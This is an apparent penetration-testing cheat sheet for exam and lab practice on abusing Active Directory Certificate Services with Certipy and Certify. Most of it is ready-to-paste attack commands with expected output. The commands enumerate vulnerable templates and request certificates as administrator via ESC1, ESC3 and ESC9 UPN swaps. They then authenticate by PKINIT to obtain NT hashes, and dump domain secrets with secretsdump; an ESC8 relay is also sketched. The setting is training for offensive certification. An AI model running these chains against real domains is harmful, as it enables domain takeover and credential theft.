AD CS — Certipy & Certify

External: Internal All The Things — Certificate Services

What are these tools?

Same attack, two platforms for abusing Active Directory Certificate Services (AD CS):

ToolPlatformRun from
CertipyPython / LinuxKali — domain creds, no Windows shell needed
Certify.exe / WindowsDomain-joined host or shell with domain user context

OSCP / AD lab use: Misconfigured certificate templates let a low-priv domain user request a cert as Domain AdminPKINIT auth → NT hash / TGT → domain compromise.


Install (Kali)

Certipy (Linux):

pip install certipy-ad
certipy-ad -h

Certify (Windows): download Certify.exe from GhostPack/Certify — transfer to target.

Full install index → Installation - Kali Setup


📌 What is AD CS?

AD Certificate Services issues X.509 certificates (VPN, smart card, TLS, machine auth). Templates define who can request what. Bad settings → ESC1–ESC8 attack paths (SpecterOps “Certified Pre-Owned”).

Low-priv user → request cert (bad template) → cert = administrator → PKINIT → DA access

Ports: LDAP 389 (ldapsearch), 443/80 (web enrollment), SMB 445.


📌 Which Tool When?

SituationUse
Have domain creds on Kali onlyCertipy
Already on Windows domain shellCertify (or Certipy from Kali either way)
ESC8 web enrollment relayCertipy relay + ntlmrelayx + Responder

📌 ESC Scenarios (ESC1–ESC16)

Per-ESC detect + exploit notes with Hacker Recipes links:

AD CS ESC — index table · ESC1 · ESC9 (Certified UPN swap) · ESC8

Labs/exam: ESC1, ESC8, ESC9 most common.

Look for: Enrollee Supplies Subject, Client Authentication EKU, NO_SECURITY_EXTENSION, ESC* flags in -vulnerable / .txt report.


📌 Certipy (Linux / Kali)

Install & auth

pip install certipy-ad
certipy-ad -h          # Certipy v5+ CLI (also: certipy)

LDAP modules** (AD CS — use ldap, not smb):

# ❌ WRONG — Module ADCS is not supported for protocol smb
# nxc smb retro.vl -u BANKING$ -p 'Password1!' -M adcs
 
# ✅ Correct
nxc ldap retro.vl -u 'BANKING$' -p 'Password1!' -M adcs
nxc ldap retro.vl -u 'BANKING$' -p 'Password1!' -M certipy-find

-u / -username syntax (Certipy v5): sAMAccountName onlyno @domain suffix.

# ✅ Correct
certipy-ad find -u user -p 'Password1' -dc-ip 10.10.10.10
certipy-ad find -u 'banking$' -p 'Password1!' -dc-ip 10.129.30.113 -vulnerable
 
# ❌ Wrong — LDAP bind fails ("invalid username")
certipy-ad find -u banking$@retro.vl -p 'Password1!' -dc-ip 10.129.30.113
certipy-ad find -u user@corp.local -p 'Password1' -dc-ip 10.10.10.10
Auth flagFormatNotes
-u / -usernamejsmith or 'machine$'Quote $ in bash for machine accounts
-dc-ipDC IPDomain resolved via LDAP to DC
-upn (in req)administrator@domain.htbCertificate UPN — different from -u
# Password
certipy-ad find -u user -p 'Password1' -dc-ip 10.10.10.10
 
# Pass-the-Hash
certipy-ad find -u user -hashes ':NTLM_HASH' -dc-ip 10.10.10.10
 
# Kerberos ticket (after getTGT / PKINIT ccache — set KRB5CCNAME first)
export KRB5CCNAME=management_svc.ccache
certipy-ad find -k -no-pass -dc-ip 10.129.231.186 -target DC01.certified.htb
certipy-ad find -k -no-pass -dc-ip 10.129.231.186 -target DC01.certified.htb -vulnerable

-k requires -target (DC hostname or IP) — do not append IP as a trailing argument.

Time sync: Kerberos fails if Kali clock skew > 5 min → Time Sync-Clock Skew · Kerberos Setup - krb5.conf

find — enumerate

# Password
certipy-ad find -u user -p 'Password1' -dc-ip 10.10.10.10
certipy-ad find -u user -p 'Password1' -dc-ip 10.10.10.10 -vulnerable
 
# Machine account (retro.vl style)
certipy-ad find -u 'banking$' -p 'Password1!' -dc-ip 10.129.30.113 -vulnerable
 
# Kerberos ticket — `-target` required with `-k` (not a trailing positional IP)
export KRB5CCNAME=management_svc.ccache
certipy-ad find -k -no-pass -dc-ip 10.129.231.186 -target DC01.certified.htb
certipy-ad find -k -no-pass -dc-ip 10.129.231.186 -target DC01.certified.htb -vulnerable
# Optional if hostname won't resolve: add -target-ip 10.129.231.186
 
# JSON output
certipy-ad find -u user -p 'Password1' -dc-ip 10.10.10.10 -json -output certipy_find
FlagWhen
-u / -usernamesAMAccountName only — no @domain (see auth above)
-kKerberos auth — reads KRB5CCNAME ccache
-no-passNo password prompt (pairs with -k)
-target DC01.domain.htbRequired for -k — DC hostname or IP
-dc-ip IPDC IP (recommended with -k)
-target-ip IPWhen -target is hostname that won’t resolve
-dc-host hostnameDC hostname for Kerberos SPN (if needed)
-vulnerableHighlight ESC misconfigs (ESC1–ESC16 where supported)

→ Ticket setup: Use Kerberos Ticket · PKINIT cert TGT: Shadow Credentials - pywhisker

Quick CA discovery via NetExec (use nxc ldap, not nxc smb):

nxc ldap domain.htb -u USER -p PASS -M adcs
nxc ldap domain.htb -u USER -p PASS -M certipy-find

CrackMapExec - nxc > OSCP — AD / enum modules

Reading the find report (important)

Successful find writes report files — the terminal scroll is not the full picture. Look for:

[*] Wrote text output to '20260630011314_Certipy.txt'
[*] Wrote JSON output to '20260630011314_Certipy.json'

Inspect the .txt report on Kali:

# Vulnerabilities / ESC flags
grep -A20 -B5 "Vulnerabilities" 20260630011314_Certipy.txt
grep -i "ESC" 20260630011314_Certipy.txt
 
# Certificate Authorities section
grep -A30 "Certificate Authorities" 20260630011314_Certipy.txt
 
# Enabled templates (long output)
grep -A200 "Enabled Certificate Templates" 20260630011314_Certipy.txt
 
# Or browse interactively
less 20260630011314_Certipy.txt
# inside less: /ESC   or   /Vulnerabilities

Replace the timestamp filename with whatever Certipy printed for your run.

About RPC / connection warnings: Certipy uses LDAP and RPC to the CA/DC. RPC errors or odd warnings → enum endpoints with rpcdump · RPC.

req — request cert (ESC1 — SAN / UPN)

certipy-ad req -u user -p 'Password1' -dc-ip 10.10.10.10 \
  -ca 'DC01.corp.local\\corp-CA' -template 'VulnerableTemplate' \
  -upn 'administrator@corp.local' -out administrator

req — on-behalf-of (ESC3 — enrollment agent)

Request a certificate for another user using an enrollment-agent template + existing .pfx:

certipy-ad req \
  -u cert_admin \
  -p rogue \
  -ca tombwatcher-CA-1 \
  -template User \
  -on-behalf-of 'tombwatcher\administrator' \
  -pfx cert_admin.pfx \
  -target dc01.tombwatcher.htb \
  -dc-ip 10.129.232.167

Expected success output:

Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-...-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'

Then PKINIT auth:

certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.232.167
FlagPurpose
-on-behalf-of 'DOMAIN\user'Target account to impersonate (ESC3)
-pfx file.pfxExisting cert/key for enrollment agent
-target dc01.domain.htbCA host / RPC target
-ca CA-NAMECA common name from find report
-template NameEnrollment-agent-capable template

auth — PKINIT → NT hash

# Basic — PFX password if encrypted
certipy-ad auth -pfx administrator.pfx -password 'PFX_PASSWORD' -dc-ip 10.10.10.10
 
# With explicit username + domain (retro.vl style)
certipy-ad auth -pfx 'administrator.pfx' \
    -username 'administrator' \
    -domain 'retro.vl' \
    -dc-ip 10.129.234.44
FlagPurpose
-pfxCertificate + private key file from req
-usernameAccount the cert maps to (sAMAccountName — no @domain)
-domainDomain FQDN (retro.vl)
-dc-ipDC IP for Kerberos/PKINIT
-passwordPFX encryption password (if set)

Success: returns NT hashevil-winrm -H · Use Kerberos Ticket · Credential Graph

account update — change UPN (ESC9 / ESC10)

Requires GenericWrite (or equivalent) on target account:

# Set victim UPN to impersonation target (before req)
certipy-ad account update \
    -username management_svc -p 'PASS' \
    -user ca_operator \
    -upn Administrator
 
# Restore original UPN (after req, before auth)
certipy-ad account update \
    -username management_svc -p 'PASS' \
    -user ca_operator \
    -upn ca_operator@certified.htb

Full Certified chain → ESC9

Shadow Credentials (certipy-ad)

Built-in alternative to pywhisker — requires appropriate LDAP rights on target:

certipy-ad shadow auto -u user -p 'Password1' -dc-ip 10.10.10.10 -account targetuser

Full pywhisker + PKINITtools chain (GenericWrite, Certified-style) → Shadow Credentials - pywhisker

Other

# ESC8 — pair with ntlmrelayx (advanced)
# certipy relay ...

📌 Certify (Windows)

Run

.\Certify.exe
.\Certify.exe find /?

Requires domain user context on Windows.

find — enumerate

.\Certify.exe find
.\Certify.exe find /vulnerable
.\Certify.exe find /json /outfile:certify.json
.\Certify.exe find /template:VulnerableTemplate

request — request cert (ESC1)

.\Certify.exe request /ca:dc01.corp.local\corp-CA /template:BadTemplate /altname:administrator
.\Certify.exe request /ca:dc01.corp.local\corp-CA /template:BadTemplate /altname:administrator /outfile:admin.pfx

auth — PKINIT

.\Certify.exe auth /pfx:admin.pfx /password:CertPassword
.\Certify.exe auth /pfx:admin.pfx /password:CertPassword /getcredentials

download

.\Certify.exe download /id:123

📌 Command Parity

StepCertipy (Linux)Certify (Windows)
Enumcertipy-ad find -vulnerableCertify.exe find /vulnerable
Request (ESC1)certipy-ad req ... -upn administrator@domainCertify.exe request ... /altname:administrator
Request (ESC3)certipy-ad req ... -on-behalf-of 'DOMAIN\user' -pfx agent.pfxenrollment agent via Certify
Authcertipy-ad auth -pfx file.pfxCertify.exe auth /pfx:file.pfx

📌 Full Attack Chain

From Linux (Certipy)

certipy-ad find -u user -p 'Password1' -dc-ip 10.10.10.10 -vulnerable
# grep ESC* in the .txt report file Certipy writes
 
certipy-ad req -u user -p 'Password1' -dc-ip 10.10.10.10 \
  -ca 'DC01.corp.local\\corp-CA' -template 'ESC1Template' \
  -upn 'administrator@corp.local' -out admin
 
certipy-ad auth -pfx admin.pfx -password 'output_password' -dc-ip 10.10.10.10
impacket-secretsdump corp.local/administrator@10.10.10.10 -hashes ':NT_HASH'

From Windows (Certify)

.\Certify.exe find /vulnerable
.\Certify.exe request /ca:DC01.corp.local\corp-CA /template:ESC1Template /altname:administrator /outfile:admin.pfx
.\Certify.exe auth /pfx:admin.pfx /password:CertPassword /getcredentials
# Use hash with impacket from Kali or continue on-box

📌 ESC8 — Web Enrollment Relay (Overview)

1. [[Responder]] or coerce NTLM from CA/DC
2. [[ntlmrelayx]] → https://CA/certsrv/certfnsh.asp
3. Request cert → domain escalation

Advanced — AD-focused labs.


📌 Quick Copy/Paste

# Linux
certipy-ad find -u user -p 'PASS' -dc-ip DC_IP -vulnerable
certipy-ad find -u 'machine$' -p 'PASS' -dc-ip DC_IP -vulnerable   # quote $
export KRB5CCNAME=user.ccache
certipy-ad find -k -no-pass -dc-ip DC_IP -target DC01.domain.htb -vulnerable
grep -i ESC *_Certipy.txt                    # read report file, not just terminal
 
certipy-ad req -u user -p 'PASS' -dc-ip DC_IP -ca 'HOST\\CA' -template TEMPLATE -upn administrator@domain.htb
 
certipy-ad req -u agent -p 'PASS' -pfx agent.pfx -on-behalf-of 'DOMAIN\administrator' -ca CA-NAME -template User -target dc01.domain.htb -dc-ip DC_IP
 
certipy-ad auth -pfx administrator.pfx -password 'PFX_PASS' -dc-ip DC_IP
 
# Or explicit user + domain
certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -domain 'retro.vl' -dc-ip DC_IP
# Windows
.\Certify.exe find /vulnerable
.\Certify.exe request /ca:HOST\CA /template:TEMPLATE /altname:administrator
.\Certify.exe auth /pfx:cert.pfx /password: